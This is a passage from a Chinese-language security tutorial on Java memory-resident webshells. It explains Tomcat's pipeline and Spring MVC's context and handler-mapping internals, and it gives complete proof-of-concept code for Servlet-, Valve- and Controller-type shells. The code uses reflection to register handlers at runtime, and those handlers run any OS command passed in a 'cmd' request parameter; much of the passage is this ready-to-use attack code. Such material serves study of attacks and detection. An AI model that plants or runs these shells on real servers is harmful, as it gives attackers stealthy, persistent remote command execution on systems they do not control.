4.3.5、获取StandardContext对象
StandardContext对象获取方式多种多样
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
%>
或
<%
ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
%>
4.3.6、编写恶意的Servlet
<%!
public class Shell_Servlet implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd !=null){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
%>
4.3.7、创建Wrapper对象
<%
Shell_Servlet shell_servlet = new Shell_Servlet();
String name = shell_servlet.getClass().getSimpleName();
Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(name);
wrapper.setServlet(shell_servlet);
wrapper.setServletClass(shell_servlet.getClass().getName());
%>
4.3.8、将Wrapper添加到StandardContext
<%
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell",name);
%>
4.3.9、完整POC
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
%>
<%!
public class Shell_Servlet implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd !=null){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
%>
<%
Shell_Servlet shell_servlet = new Shell_Servlet();
String name = shell_servlet.getClass().getSimpleName();
Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(name);
wrapper.setServlet(shell_servlet);
wrapper.setServletClass(shell_servlet.getClass().getName());
%>
<%
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell",name);
%>
4.4、Valve型
4.4.1、什么是Valve
在了解Valve
之前,我们先来简单了解一下Tomcat
中的管道机制。我们知道,当Tomcat
接收到客户端请求时,首先会使用Connector
进行解析,然后发送到Container
进行处理。那么我们的消息又是怎么在四类子容器中层层传递,最终送到Servlet
进行处理的呢?这里涉及到的机制就是Tomcat
管道机制。管道机制主要涉及到两个名词,Pipeline
(管道)和Valve
(阀门)。如果我们把请求比作管道(Pipeline
)中流动的水,那么阀门(Valve
)就可以用来在管道中实现各种功能,如控制流速等。因此通过管道机制,我们能按照需求,给在不同子容器中流通的请求添加各种不同的业务逻辑,并提前在不同子容器中完成相应的逻辑操作。这里的调用流程可以类比为Filter
中的责任链机制在Tomcat
中,四大组件Engine
、Host
、Context
以及Wrapper
都有其对应的Valve
类,StandardEngineValve
、StandardHostValve
、StandardContextValve
以及StandardWrapperValve
,他们同时维护一个StandardPipeline
实例。
4.4.2、管道机制流程分析
我们先来看看Pipeline
接口,继承了Contained
接口
public interface Pipeline extends Contained {
public Valve getBasic();
public void setBasic(Valve valve);
public void addValve(Valve valve);
public Valve[] getValves();
public void removeValve(Valve valve);
public void findNonAsyncValves(Set<String> result);
}
Pipeline
接口提供了各种对Valve
的操作方法,如我们可以通过addValve()
方法来添加一个Valve
。下面我们再来看看Valve
接口
public interface Valve {
public Valve getNext();
public void setNext(Valve valve);
public void backgroundProcess();
public void invoke(Request request, Response response)
throws IOException, ServletException;
public boolean isAsyncSupported();
}
其中getNext()
方法可以用来获取下一个Valve
,Valve
的调用过程可以理解成类似Filter
中的责任链模式,按顺序调用。同时Valve
可以通过重写invoke()
方法来实现具体的业务逻辑
class Shell_Valve extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
...
}
}
}
下面我们通过源码看一看,消息在容器之间是如何传递的。首先消息传递到Connector
被解析后,在org.apache.catalina.connector.CoyoteAdapter#service
方法中
public void service(org.apache.coyote.Request req, org.apache.coyote.Response res) throws Exception {
Request request = (Request) req.getNote(ADAPTER_NOTES);
Response response = (Response) res.getNote(ADAPTER_NOTES);
if (request == null) {
// Create objects
request = connector.createRequest();
request.setCoyoteRequest(req);
response = connector.createResponse();
response.setCoyoteResponse(res);
// Link objects
request.setResponse(response);
response.setRequest(request);
// Set as notes
req.setNote(ADAPTER_NOTES, request);
res.setNote(ADAPTER_NOTES, response);
// Set query string encoding
req.getParameters().setQueryStringCharset(connector.getURICharset());
}
...
try {
...
connector.getService().getContainer().getPipeline().getFirst().invoke( request, response);
}
...
}
前面是对Request
和Respone
对象进行一些判断及创建操作,我们重点来看一下connector.getService().getContainer().getPipeline().getFirst().invoke(request, response)
首先通过connector.getService()
来获取一个StandardService
对象
接着通过StandardService.getContainer().getPipeline()
获取StandardPipeline
对象。再通过StandardPipeline.getFirst()
获取第一个Valve
@Override
public Valve getFirst() {
if (first != null) {
return first;
}
return basic;
}
最后通过调用StandardEngineValve.invoke()
来实现Valve
的各种业务逻辑
public final void invoke(Request request, Response response)
throws IOException, ServletException {
// Select the Host to be used for this Request
Host host = request.getHost();
if (host == null) {
// HTTP 0.9 or HTTP 1.0 request without a host when no default host
// is defined.
// Don't overwrite an existing error
if (!response.isError()) {
response.sendError(404);
}
return;
}
if (request.isAsyncSupported()) {
request.setAsyncSupported(host.getPipeline().isAsyncSupported());
}
// Ask this Host to process this request
host.getPipeline().getFirst().invoke(request, response);
}
host.getPipeline().getFirst().invoke(request, response)
实现调用后续的Valve
。
4.4.3、动态添加Valuv
根据上文的分析我们能够总结出Valve
型内存马的注入思路
获取 StandardContext
对象通过 StandardContext
对象获取StandardPipeline
编写恶意 Valve
通过 StandardPipeline.addValve()
动态添加Valve
4.4.3.1、获取StandardPipeline对象
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
Pipeline pipeline = standardContext.getPipeline();
%>
4.4.3.2、编写恶意的valve
类
<%!
class Shell_Valve extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd !=null){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}
}
%>
4.4.3.3、将恶意Valve
添加进StandardPipeline
<%
Shell_Valve shell_valve = new Shell_Valve();
pipeline.addValve(shell_valve);
%>
4.4.4、完整POC
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Pipeline" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
Pipeline pipeline = standardContext.getPipeline();
%>
<%!
class Shell_Valve extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd !=null){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}
}
%>
<%
Shell_Valve shell_valve = new Shell_Valve();
pipeline.addValve(shell_valve);
%>
任意路径即可命令执行
5、Spring内存马
5.1、什么是Spring
Spring
是一个轻量级的Java
开源框架,用于配置、管理和维护Bean
(组件)的一种框架,其核心理念就是IoC
(Inversion of Control,控制反转
) 和 AOP
(AspectOrientedProgramming
, 面向切面编程)。现如今Spring
全家桶已是一个庞大的家族Spring
的出现大大简化了JavaEE
的开发流程,减少了Java
开发时各种繁琐的配置。Spring
框架的核心之一就是分层,其由许多大大小小的组件构成,每种组件都实现不同功能。
5.1.1、SpringBoot
SpringBoot
基于 Spring
开发。不仅继承了Spring
框架原有的优秀特性,它并不是用来替代 Spring
的解决方案,而和 Spring
框架紧密 结合进一步简化了Spring
应用的整个搭建和开发过程。其设计目的是用来简化 Spring
应用的初始搭建以及开发过程。采用 Spring Boot
可以大大的简化开发模式,它集成了大量常用的第三方库配置,所有你想集成的常用框架,它都有对应的组件支持,例如 Redis
、MongoDB
、Dubbo
、kafka
,ES
等等。SpringBoot
应用中这些第三方库几乎可以零配置地开箱即用,大部分的 SpringBoot
应用都只需要非常少量的配置代码,开发者能够更加专注于业务逻辑。另外SpringBoot
通过集成大量的框架使得依赖包的版本冲突,以及引用的不稳定性等问题得到了很好的解决。下面我们就通过IDEA
中的Spring Initializr
来快速构建一个基于SpringBoot
的Web
项目选择Spring Web
创建好之后,IDEA会自动创建一个启动类下面我们就可以编写相应的Controller
(控制器)及各种业务逻辑了
package com.example.spring.demos.web;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class HelloWouldController {
@ResponseBody
@RequestMapping(value = "hello2", method = RequestMethod.GET)
public String Hello() {
return "Hello Would";
}
}
5.1.2、Spring MVC、Tomcat和Servlet
首先来设想这样一个场景,假如让我们自己手动实现一个简易的Web服务
器,我们会怎么做?首先我们肯定要接收客户端发来的TCP
数据包,这里我们需要一个TCPServer
来监听80
端口。接着我们需要将TCP
数据包解析成HTTP
协议,获取URL
路径、参数列表等数据信息。再然后就是执行各种逻辑处理。最后就是把处理的结果封装成HTTP
协议返回给浏览器,并且等浏览器收到响应后断开连接。以上就是一个简易Web
服务器的实现逻辑,当然,真正的Web
服务器可能要比上述更加复杂一些,但核心功能是不变的:接受请求、处理请求、返回响应。当然,如果我们在处理业务时每次都要进行一遍上述流程,这未免太繁琐。其实我们可以发现在上述流程中,网络通信、HTTP
协议解析和封装部分的实现都相对固定。有变化的部分其实只有逻辑处理器,需要我们根据不同请求包而做出相应的逻辑处理。因此,为了提高开发效率,我们能不能将不变的部分封装起来呢?这其实就是我们的Web
服务器。Tomcat
就是这样一种服务器,它其实就是一个能够监听TCP
连接请求,解析HTTP
报文,将解析结果传给处理逻辑器、接收处理逻辑器的返回结果并通过TCP
返回给浏览器的一个框架。在Tomcat
各种组件中,Connnector
就是负责网络通信的,而Container
中的Servlet
就是我们的逻辑处理器。因此Tomcat
就是一个Servlet
容器,它将前后端交互过程中不变的东西(网络通信、协议解析等)封装了起来。而Servlet
是一个逻辑处理器,它可以被Tomcat
创建、调用和销毁。所以我们的Web
程序核心是基于Servlet
的,而Web
程序的启动依靠Tomcat
。那Spring MVC
呢?Spring
是利用注解、反射和模板等技术实现的一种框架。其核心类是继承于HttpServlet
的DispatchServlet
。那既然是Servlet
,那负责的肯定就是逻辑处理部分了,那么就需要Tomcat
这样的服务器来给Spring
提供运行环境。
5.1.3、SpringMVC
5.1.3.1、Spring MVC的运行流程
客户端发送Request
,DispatcherServlet
(等同于Controller
控制器),控制器接收到请求,来到HandlerMapping
(在配置文件中配置),HandlerMapping
会对URL
进行解析,并判断当前URL
该交给哪个Controller
来处理,找到对应的Controller
之后,Controller
就跟Server
、JavaBean
进行交互,得到某一个值,并返回一个视图(ModelAndView
过程),Dispathcher
通过ViewResolver
视图解析器,找到ModelAndView
对象指定的视图对象,最后,视图对象负责渲染返回给客户端。
5.1.3.2、创建一个简单的Spring MVC项目
使用Maven
来创建一个简单的SpringMVC
项目。创建好Maven
项目后添加相应的Springmvc
依赖
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.example</groupId>
<artifactId>Spring</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>SpringDemo</name>
<description>SpringDemo</description>
<properties>
<java.version>1.8</java.version>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
<spring-boot.version>2.6.13</spring-boot.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-web</artifactId>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
</dependency>
<dependency>
<groupId>taglibs</groupId>
<artifactId>standard</artifactId>
<version>1.1.2</version>
</dependency>
</dependencies>
<dependencyManagement>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-dependencies</artifactId>
<version>${spring-boot.version}</version>
<type>pom</type>
<scope>import</scope>
</dependency>
</dependencies>
</dependencyManagement>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.1</version>
<configuration>
<source>1.8</source>
<target>1.8</target>
<encoding>UTF-8</encoding>
</configuration>
</plugin>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
<version>${spring-boot.version}</version>
<configuration>
<mainClass>com.example.spring.SpringDemoApplication</mainClass>
<skip>true</skip>
</configuration>
<executions>
<execution>
<id>repackage</id>
<goals>
<goal>repackage</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>
编写web.xml
文件来配置Servlet
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<display-name>Archetype Created Web Application</display-name>
//使用默认的DispatcherServlet
<servlet>
<servlet-name>spring</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
//spring配置文件路径
<param-value>/WEB-INF/springmvc.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>spring</servlet-name>
//路径设置为根目录
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>
配置springmvc.xml
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:mvc="http://www.springframework.org/schema/mvc"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd">
//设置注解扫描包路径
<context:component-scan base-package="com.controller"/>
<!-- 开启springMVC的注解驱动,使得url可以映射到对应的controller -->
<mvc:annotation-driven />
<!-- 视图解析 -->
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
<property name="prefix" value="/WEB-INF/views/"/>
<property name="suffix" value=".jsp"/>
</bean>
</beans>
在com.controller
包下创建test
控制器
package com.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class Test {
@ResponseBody
@RequestMapping("hello")
public String Hello() {
System.out.println("hello");
return "hello";
}
}
配置Tomcat
,添加相应war
包启动Tomcat
,访问http://localhost/hello
5.2、Controller型内存马
5.2.1、Bean
Bean
是 Spring
框架的一个核心概念,它是构成应用程序的主干,并且是由 Spring IoC
容器负责实例化、配置、组装和管理的对象。
bean
是对象bean
被IoC
容器管理Spring
应用主要是由一个个的bean
构成的
5.2.2、IOC容器
如果一个系统有大量的组件(类),其生命周期和相互之间的依赖关系如果由组件自身来维护,不但大大增加了系统的复杂度,而且会导致组件之间极为紧密的耦合,继而给测试和维护带来了极大的困难。解决这一问题的核心方案就是IoC
(又称为依赖注入)。由IoC
负责创建组件、根据依赖关系组装组件、按依赖顺序正确销毁组件。
IOC
容器通过读取配置元数据来获取对象的实例化、配置和组装的描述信息。配置的零元数据可以用xml
、Java
注解或Java
代码来表示。
5.2.3、ApplicationContext
Spring
框架中,BeanFactory
接口是 Spring IoC
容器 的实际代表者Spring
容器就是ApplicationContext
,它是一个接口继承于BeanFactory
,有很多实现类。获得了ApplicationContext
的实例,就获得了IoC
容器的引用。我们可以从ApplicationContext
中可以根据Bean
的ID
获取Bean
。因此,org.springframework.context.ApplicationContext
接口也代表了 IoC
容器 ,它负责实例化、定位、配置应用程序中的对象(bean
)及建立这些对象间(beans
)的依赖。
5.2.4、Root Context和Child Context
先看web.xml
配置
...
<servlet>
<servlet-name>spring</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/springmvc.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>spring</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
...
这里我们将DispatcherServlet
设置别名为spring
,然后将contextConfigLocation
参数值配置为/WEB-INF/springmvc.xml
。依照规范,当没有显式配置 contextConfigLocation
时,程序会自动寻找 /WEB-INF/<servlet-name>-servlet.xml
,作为配置文件。因为上面的 <servlet-name>
是 dispatcherServlet
,所以当没有显式配置时,程序依然会自动找到 /WEB-INF/dispatcherServlet-servlet.xml
配置文件。每个具体的 DispatcherServlet
创建的是一个 Child Context
,代表一个独立的 IoC
容器;而 ContextLoaderListener
所创建的是一个 Root Context
,代表全局唯一的一个公共 IoC
容器。如果要访问和操作 bean
,一般要获得当前代码执行环境的IoC
容器 代表者 ApplicationContext
。
Spring
应用中可以同时有多个Context
,其中只有一个Root Context
,剩下的全是Child Context
所有 Child Context
都可以访问在Root Context
中定义的bean
,但是Root Context
无法访问Child Context
中定义的bean
所有的 Context
在创建后,都会被作为一个属性添加到了ServletContext
中
5.2.5、ContextLoaderListener
ContextLoaderListener
主要被用来初始化全局唯一的Root Context
,即 Root WebApplicationContext
。这个 Root WebApplicationContext
会和其他 Child Context
实例共享它的 IoC
容器,供其他 Child Context
获取并使用容器中的 bean
。
5.2.6、实现思路
和Tomcat
内存马类似,我们就需要了解如何动态的注册Controller
,思路如下
获取上下文环境 注册恶意 Controller
配置路径映射
5.2.7、获取上下文环境的Context
四种方法
5.2.7.1、getCurrentWebApplicationContext
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
getCurrentWebApplicationContext
获得的是一个 XmlWebApplicationContext
实例类型的 Root WebApplicationContext
。
5.2.7.2、WebApplicationContextUtils
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
通过这种方法获得的也是一个 Root WebApplicationContext
。其中WebApplicationContextUtils.getWebApplicationContext
函数也可以用 WebApplicationContextUtils.getRequiredWebApplicationContext
来替换。
5.2.7.3、RequestContextUtils
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
通过 ServletRequest
类的实例来获得 Child WebApplicationContext
。
5.2.7.4、getAttribute
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
这种方式与前几种的思路就不太一样了,因为所有的Context
在创建后,都会被作为一个属性添加到了ServletContext
中。所以通过直接获得ServletContext
通过属性Context
拿到 Child WebApplicationContext
5.2.8、动态注册Controller
Spring Controller
的动态注册,就是对 RequestMappingHandlerMapping
注入的过程。RequestMappingHandlerMapping
是springMVC
里面的核心Bean
,spring
把我们的controller
解析成RequestMappingInfo
对象,然后再注册进RequestMappingHandlerMapping
中,这样请求进来以后就可以根据请求地址调用到Controller
类里面了。
RequestMappingHandlerMapping
对象本身是spring
来管理的,可以通过ApplicationContext
取到,所以并不需要我们新建。在 SpringMVC
框架下,会有两个ApplicationContext
,一个是Spring IOC
的上下文,这个是在java web
框架的Listener
里面配置,就是我们经常用的web.xml
里面的org.springframework.web.context.ContextLoaderListener
,由它来完成IOC
容器的初始化和bean
对象的注入。另外一个是 ApplicationContext
是由org.springframework.web.servlet.DispatcherServlet
完成的,具体是在org.springframework.web.servlet.FrameworkServlet#initWebApplicationContext()
这个方法做的。而这个过程里面会完成RequestMappingHandlerMapping
这个对象的初始化。
Spring 2.5
开始到 Spring 3.1
之前一般使用org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping
映射器 ;Spring 3.1
开始及以后一般开始使用新的org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping
映射器来支持@Contoller
和@RequestMapping
注解。
5.2.8.1、registerMapping
在Spring 4.0
及以后,可以使用registerMapping
直接注册requestMapping
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, Class.forName("恶意Controller").newInstance(), method);
5.2.8.2、registerhandler
参考上面的 HandlerMapping
接口继承关系图,针对使用 DefaultAnnotationHandlerMapping
映射器的应用,可以找到它继承的顶层类org.springframework.web.servlet.handler.AbstractUrlHandlerMapping
在其registerHandler()
方法中
protected void registerHandler(String urlPath, Object handler) throws BeansException, IllegalStateException {
Assert.notNull(urlPath, "URL path must not be null");
Assert.notNull(handler, "Handler object must not be null");
Object resolvedHandler = handler;
// Eagerly resolve handler if referencing singleton via name.
if (!this.lazyInitHandlers && handler instanceof String) {
String handlerName = (String) handler;
ApplicationContext applicationContext = obtainApplicationContext();
if (applicationContext.isSingleton(handlerName)) {
resolvedHandler = applicationContext.getBean(handlerName);
}
}
Object mappedHandler = this.handlerMap.get(urlPath);
if (mappedHandler != null) {
if (mappedHandler != resolvedHandler) {
throw new IllegalStateException(
"Cannot map " + getHandlerDescription(handler) + " to URL path [" + urlPath +
"]: There is already " + getHandlerDescription(mappedHandler) + " mapped.");
}
}
else {
if (urlPath.equals("/")) {
if (logger.isTraceEnabled()) {
logger.trace("Root mapping to " + getHandlerDescription(handler));
}
setRootHandler(resolvedHandler);
}
else if (urlPath.equals("/*")) {
if (logger.isTraceEnabled()) {
logger.trace("Default mapping to " + getHandlerDescription(handler));
}
setDefaultHandler(resolvedHandler);
}
else {
this.handlerMap.put(urlPath, resolvedHandler);
if (getPatternParser() != null) {
this.pathPatternHandlerMap.put(getPatternParser().parse(urlPath), resolvedHandler);
}
if (logger.isTraceEnabled()) {
logger.trace("Mapped [" + urlPath + "] onto " + getHandlerDescription(handler));
}
}
}
}
该方法接受 urlPath
参数和 handler
参数,可以在 this.getApplicationContext()
获得的上下文环境中寻找名字为 handler
参数值的 bean
, 将 url
和 controller
实例 bean
注册到 handlerMap
中
// 1. 在当前上下文环境中注册一个名为 dynamicController 的 Webshell controller 实例 bean
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("me.landgrey.SSOLogin").newInstance());
// 2. 从当前上下文环境中获得 DefaultAnnotationHandlerMapping 的实例 bean
org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping dh = context.getBean(org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping.class);
// 3. 反射获得 registerHandler Method
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);
m1.setAccessible(true);
// 4. 将 dynamicController 和 URL 注册到 handlerMap 中
m1.invoke(dh, "/favicon", "dynamicController");
5.2.8.3、detectHandlerMethods
参考上面的 HandlerMapping
接口继承关系图,针对使用 RequestMappingHandlerMapping
映射器的应用,可以找到它继承的顶层类org.springframework.web.servlet.handler.AbstractHandlerMethodMapping
在其detectHandlerMethods()
方法中
protected void detectHandlerMethods(Object handler) {
Class<?> handlerType = handler instanceof String ? this.getApplicationContext().getType((String)handler) : handler.getClass();
final Class<?> userType = ClassUtils.getUserClass(handlerType);
Set<Method> methods = HandlerMethodSelector.selectMethods(userType, new MethodFilter() {
public boolean matches(Method method) {
return AbstractHandlerMethodMapping.this.getMappingForMethod(method, userType) != null;
}
});
Iterator var6 = methods.iterator();
while(var6.hasNext()) {
Method method = (Method)var6.next();
T mapping = this.getMappingForMethod(method, userType);
this.registerHandlerMethod(handler, method, mapping);
}
}
该方法仅接受handler
参数,同样可以在 this.getApplicationContext()
获得的上下文环境中寻找名字为 handler
参数值的 bean
, 并注册 controller
的实例 bean
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("恶意Controller").newInstance());
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
m1.setAccessible(true);
m1.invoke(requestMappingHandlerMapping, "dynamicController");
5.2.9、实现恶意的Controller
这里由于我们时动态注册Controller
,所以我们只需要实现对应的恶意方法即可
public class Controller_Shell{
public Controller_Shell(){}
public void shell() throws IOException {
//获取request
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
Runtime.getRuntime().exec(request.getParameter("cmd"));
}
}
5.2.10、完整POC
package com.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Method;
@Controller
public class shell_controller {
//@ResponseBody
@RequestMapping("/control")
public void Spring_Controller() throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException {
//获取当前上下文环境
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
//手动注册Controller
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = Controller_Shell.class.getDeclaredMethod("shell");
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, new Controller_Shell(), method);
}
public class Controller_Shell{
public Controller_Shell(){}
public void shell() throws IOException {
//获取request
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
Runtime.getRuntime().exec(request.getParameter("cmd"));
}
}
}
首先访问/control
路由,由于Controller
默认会将结果交给View处理
,返回值通常会被解析成一个页面路径,所以这里会报404
错误。我们可以使用@ResponeBody
来将Controller
的方法返回的对象,通过适当的HttpMessageConverter
转换为指定格式后,写入到Response
对象的body
数据区。然后访问我们定义恶意Controller
的路由/shell
5.3、Interceptor
5.3.1、什么是 Interceptor
Spring MVC
的拦截器(Interceptor
)与 Java Servlet
的过滤器(Filter
